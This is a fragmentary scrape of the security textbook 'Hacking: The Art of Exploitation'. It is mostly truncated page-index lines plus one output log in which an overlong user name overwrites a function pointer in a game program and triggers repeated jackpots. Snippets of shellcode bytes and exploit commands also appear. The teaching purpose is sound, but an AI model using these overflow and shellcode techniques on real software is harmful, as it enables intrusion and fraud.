hacking-the-art-of-exploitation

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6 - Reset your account at 100 credits 7 - Quit [Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAp?] [You have 130 credits] -> Change user name Enter your new name: Your name has been changed. -=[ Game of Chance Menu ]=- 1 - Play the Pick a Number game 2 - Play the No Match Dealer game 3 - Play the Find the Ace game 4 - View current high score 5 - Change your user name 6 - Reset your account at 100 credits 7 - Quit [Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAp?] [You have 130 credits] -> [DEBUG] current_game pointer @ 0x08048d70 *+*+*+*+*+* JACKPOT *+*+*+*+*+* You have won the jackpot of 100 credits! You now have 230 credits Would you like to play again? (y/n) [DEBUG] current_game pointer @ 0x08048d70 *+*+*+*+*+* JACKPOT *+*+*+*+*+* You have won the jackpot of 100 credits! You now have 330 credits Would you like to play again? (y/n) [DEBUG] current_game pointer @ 0x08048d70 *+*+*+*+*+* JACKPOT *+*+*+*+*+* You have won the jackpot of 100 credits! You now have 430 credits Would you like to play again? (y/n) [DEBUG] current_game pointer @ 0x08048d70 *+*+*+*+*+* JACKPOT *+*+*+*+*+* You have won the jackpot of 100 credits! You now have 530 credits Would you like to play again? (y/n) [DEBUG] current_game pointer @ 0x08048d70 *+*+*+*+*+* JACKPOT *+*+*+*+*+* You have won the jackpot of 100 credits! You now have 630 credits Would you like to play again? (y/n) [DEBUG] current_game pointer @ 0x08048d70 *+*+*+*+*+* JACKPOT *+*+*+*+*+* You have won the jackpot of 100 credits! 164 0x300
You now have 730 credits Would you like to play again? (y/n) [DEBUG] current_game pointer @ 0x08048d70 *+*+*+*+*+* JACKPOT *+*+*+*+*+* You have won the jackpot of 100 credits! You now have 830 credits Would you like to play again? (y/n) [DEBUG] current_game pointer @ 0x08048d70 *+*+*+*+*+* JACKPOT *+*+*+*+*+* You have won the jackpot of 100 credits! You now have 930 credits Would you like to play again? (y/n) [DEBUG] current_game pointer @ 0x08048d70 *+*+*+*+*+* JACKPOT *+*+*+*+*+* You have won the jackpot of 100 credits! You now have 1030 credits Would you like to play again? (y/n) [DEBUG] current_game pointer @ 0x08048d70 *+*+*+*+*+* JACKPOT *+*+*+*+*+* You have won the jackpot of 100 credits! You now have 1130 credits Would you like to play again? (y/n) [DEBUG] current_game pointer @ 0x08048d70 *+*+*+*+*+* JACKPOT *+*+*+*+*+* You have won the jackpot of 100 credits! You now have 1230 credits Would you like to play again? (y/n) -=[ Game of Chance Menu ]=- 1 - Play the Pick a Number game 2 - Play the No Match Dealer game 3 - Play the Find the Ace game 4 - View current high score 5 - Change your user name 6 - Reset your account at 100 credits 7 - Quit [Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAp?] [You have 1230 credits] -> Change user name Enter your new name: Your name has been changed. -=[ Game of Chance Menu ]=- 1 - Play the Pick a Number game 2 - Play the No Match Dealer game 3 - Play the Find the Ace game 4 - View current high score 5 - Change your user name 6 - Reset your account at 100 credits 7 - Quit Exploitation 165
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CD INside 2nd Edition Hacking the a
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® San Francisco
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BRIEF CONTENTS Preface ............
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0x300 EXPLOITATION 115 0x310 Genera
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0x6a0 Hardening Countermeasures....
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ACKNOWLEDGMENTS I would like to tha
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2 0x100 The rules for this problem
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4 0x100 overly simplistic encryptio
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can be written to accomplish any gi
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0x230 Control Structures Without co
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lest it continue into infinity. A w
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called constants. Returning to the
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Quite often in programs, variables
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0x244 Functions Sometimes there wil
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void turn(variable_direction, targe
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library, a function prototype is ne
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Like a row of houses on a local str
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Below, GDB is used to show the stat
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There are also operations that are
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The display format also uses a sing
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The first four bytes are shown both
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(gdb) x/10i $eip 0x804838b : cmp DW
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022 18 12 DC2 122 82 52 R 023 19 13
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familiar address of EBP minus 4 int
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the English language, knowledge of
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Function "strcpy" not defined. Make
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only be in one of 2 32 possible bit
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pointer.c #include #include int m
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addressof.c #include int main() {
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0x264 Format Strings The printf() f
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The final line just shows the addre
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As discussed earlier, dividing the
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} } printf("[char pointer] points t
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Naturally, it is far easier just to
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This is rather hacky, but since thi
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eader@hacking:~/booksrc $ ./a.out '
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0x267 Variable Scoping Another inte
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[in func1] i = 5, j = 42 [in func2]
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10 (gdb) break 7 Breakpoint 1 at 0x
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Notice that the static_var retains
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70 0x200 The heap segment is a segm
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End of assembler dump (gdb) disass
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0x804836f : mov DWORD PTR [esp+8],0
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int global_initialized_var = 5; voi
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int main(int argc, char *argv[]) {
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errorchecked_heap.c #include #incl
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The bar code on the back of this bo
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eader@hacking:~/booksrc $ ./simplen
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} printf("\n"); display_flags("O_WR
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eader@hacking:~/booksrc $ chmod 731
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uid_demo.c #include int main() { p
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} void fatal(char *); // A function
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#define FILENAME "/var/notes" int p
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[DEBUG] found a 34 byte note for us
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of current_time, an empty tm struct
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While struct memory can be accessed
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815015288 1315541117 2080969327 450
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printf("6 - Reset your account at 1
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int fd; } printf("\n===============
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} } // This function is the Pick a
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invalid_choice = 1; while(invalid_c
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Would you like to play again? (y/n)
Page 128 and 129: 114 0x200 Play around with this pro
Page 130 and 131: A program can only do what it’s p
Page 132 and 133: don’t say exactly what their crea
Page 134 and 135: By now, you should be able to read
Page 136 and 137: eader@hacking:~/booksrc $ gcc explo
Page 138 and 139: 11 if(strcmp(password_buffer, "bril
Page 140 and 141: auth_overflow2.c #include #include
Page 142 and 143: As expected, the overflow cannot di
Page 144 and 145: (gdb) c Continuing. Breakpoint 2, c
Page 146 and 147: Notice the two lines shown in bold
Page 148 and 149: eader@hacking:~/booksrc $ perl -e '
Page 150 and 151: 0x0804848d : mov eax,DWORD PTR [eax
Page 152 and 153: 20 offset = atoi(argv[1]); (gdb) 21
Page 154 and 155: called the NOP sled, that can assis
Page 156 and 157: The function of the for loop should
Page 158 and 159: \x2f\x2f\x73\x68\x68\x2f\x62\x69\x6
Page 160 and 161: eader@hacking:~/booksrc $ ./notesea
Page 162 and 163: int main(int argc, char *argv[]) {
Page 164 and 165: char *buffer = (char *) malloc(160)
Page 166 and 167: 7e99000-b7e9a000 rw-p b7e99000 00:0
Page 168 and 169: for that user. Using the salt value
Page 170 and 171: 0x342 Overflowing Function Pointers
Page 172 and 173: 7 - Quit [Name: Jon Erickson] [You
Page 174 and 175: 0804b630 A _edata 0804b6d4 A _end 0
Page 176 and 177: n 5 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Page 180 and 181: [Name: Jon Erickson] [You have 1230
Page 182 and 183: Parameter Input Type Output Type %d
Page 184 and 185: This is an interesting detail that
Page 186 and 187: 0x353 Reading from Arbitrary Memory
Page 188 and 189: The wrong way to print user-control
Page 190 and 191: The addresses and junk data at the
Page 192 and 193: eader@hacking:~/booksrc $ reader@ha
Page 194 and 195: 0x355 Direct Parameter Access Direc
Page 196 and 197: Since the stack doesn’t need to b
Page 198 and 199: 0x357 Detours with .dtors In binary
Page 200 and 201: located. Then the actual bytes are
Page 202 and 203: Since the .dtors section is writabl
Page 204 and 205: [DEBUG] found a 34 byte note for us
Page 206 and 207: eader@hacking:~/booksrc $ objdump -
Page 209 and 210: 0x400 NETWORKING Communication and
Page 211 and 212: For example, whenever you browse th
Page 213 and 214: Datagram sockets and UDP are common
Page 215 and 216: From /usr/include/bits/socket.h /*
Page 217 and 218: htons(short value) Host-to-Network
Page 219 and 220: fatal("in socket"); if (setsockopt(
Page 221 and 222: When compiled and run, the program
Page 223 and 224: This reveals that the webserver is
Page 225 and 226: From /usr/include/netdb.h /* Descri
Page 227 and 228: } while(recv_line(sockfd, buffer))
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} /* This function handles the conn
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Accepting web requests on port 80 G
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the two addressing schemes. In the
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also exist on this layer. ICMP pack
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0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3
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Interrupt:16 Base address:0x2024 re
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u_char buffer[9000]; if ((sockfd =
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pcap_handle = pcap_open_live(device
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eader@hacking:~/booksrc $ $ grep -R
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The compiler padding, as mentioned
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Now that the headers are defined as
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The caught_packet() function gets c
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With the headers decoded and separa
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Due to timeout values, the victim m
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eader@hacking:~/booksrc $ sudo neme
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data structures for the packet head
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if (pd->file_mem == NULL) pd->file_
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only builds ethernet/IP ARP packets
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The remaining libnet functions get
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dest_ip = libnet_name_resolve(argv[
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In the example above, the host 192.
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0x454 Ping Flooding Flooding DoS at
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The host machine will receive the s
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char errbuf[PCAP_ERRBUF_SIZE]; // S
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TH_RST, // Control flags (RST flag
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Christmas tree), and the Null scan
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0x475 Proactive Defense (shroud) Po
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char errbuf[PCAP_ERRBUF_SIZE]; // S
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NULL, // Payload (none) 0, // Paylo
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} while(recv(sockfd, ptr, 1, 0) ==
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$1 = 540 (gdb) p /x 0xbffff5c0 + 20
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" 90 90 90 90 90 90 90 90 90 90 90
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When this exploit is compiled and r
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0x500 SHELLCODE So far, the shellco
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mmap2(0xb7ee4000, 9596, PROT_READ|P
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#define __NR_stime 25 #define __NR_
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In shellcode, the bytes for the str
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eader@hacking:~/booksrc $ export SH
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which means that a small value like
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Instruction inc dec Description I
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After assembling this shellcode, he
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exec_shell.s BITS 32 jmp short two
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eader@hacking:~/booksrc $ nasm tiny
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int setresuid(uid_t ruid, uid_t eui
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push BYTE 11 pop eax push ecx push
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So, to make socket system calls usi
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push BYTE 16 ; argv: { sizeof(serve
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00000030 80 b0 66 43 52 52 56 89 e1
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This loop iterates ECX from 0 to 2,
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push edx ; Build sockaddr struct: I
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pop eax inc ebx ; ebx = 2 (needed f
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the return address uses multiple by
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0x600 COUNTERMEASURES The golden po
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0x620 System Daemons To have a real
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} printf("Caught signal %d\t", sign
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tinywebd.c #include #include #inc
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if(fd == -1) { // If file is not fo
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In previous chapters, we’ve writt
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63 if (listen(sockfd, 20) == -1) 64
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message. Shell variables are used f
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There’s a simple mistake in the t
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any program to show every system ca
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0x080487ee : mov DWORD PTR [esp+8],
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0x08048f5f : call 0x08048f64 : nop
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push BYTE 0x6 ; Close () pop eax in
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A quick glance at the function prol
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push edx ; Build arg array: { proto
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This program can be used to inject
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Then, from another terminal, the ne
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strace is used with the -p command-
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ig red flag. We could change the po
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of new_sockfd will still be correct
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00000020 b0 3f cd 80 49 79 f9 b0 0b
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push ebx mov ecx, esp int 0x80 ; pu
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Instruction Hex ASCII inc eax 0x40
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eader@hacking:~/booksrc $ gcc -o up
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Amazingly, these instructions, comb
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ESP up (toward lower memory address
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eader@hacking:~/booksrc $ gcc -o pr
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At the end, the shellcode has been
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esp 0xbffffa2c 0xbffffa2c eax 0x0 0
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functions are shared, so any progra
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A quick binary search shows that th
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eginning of the buffer. When a prog
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The breakpoint is set at the last i
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Bouncing off linux-gate refers to a
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matrix@loki /hacking $ for i in `se
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manual page for execve() for detail
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for(i=0; i < 90; i+=4) // Fill buff
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encryption, credit card transaction
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through the incorrect filter, its p
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This means that, in general, the gr
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Without some way to manipulate the
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With a little bit of basic algebra,
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Since this is all done modulo N, th
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0x750 Hybrid Ciphers A hybrid crypt
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[:] - Static route to port on host
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communication channel with the atta
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e asked to add the new fingerprint.
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to be a bit hazy. The goal behind t
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---[Current State]-----------------
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0x760 Password Cracking Passwords a
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crypt_crack.c #define _XOPEN_SOURCE
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Custom dictionary files are often m
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possible hashes for a single plaint
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Of course, there are downsides. Fir
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charval = (k-32)*95 + (l-32); // La
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} /* Print the plaintext pairs that
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printf("Building probability vector
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Of course, if WEP is turned on, onl
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Now when keystream data is needed,
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After an IV collision is discovered
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is really quite amazing. It takes a
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Seed = IV concatenated with the key
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int key[13] = {1, 2, 3, 4, 5, 66, 7
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and the key is hard-coded into the
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9 0 | 41 1 | 73 0 | 105 0 | 137 1 |
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0x800 CONCLUSION Hacking tends to b
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CNET News. “40-Bit Crypto Proves
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INDEX Symbols & Numbers & (ampersan
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uffer overrun, 119 buffers, 38 prog
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dtors_sample.c program, 184 dump()
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declaring as void, 17 for error che
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Internet Protocol (IP), 220 address
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nemesis_arp() function, 245 nemesis
Page 481 and 482:
pointer_types4.c program, 56 pointe
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session layer (OSI), 196 for web br
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text segment, of memory, 69 then ke
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More No-Nonsense Books from NO STAR
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UPDATES Visit http://www.nostarch.c
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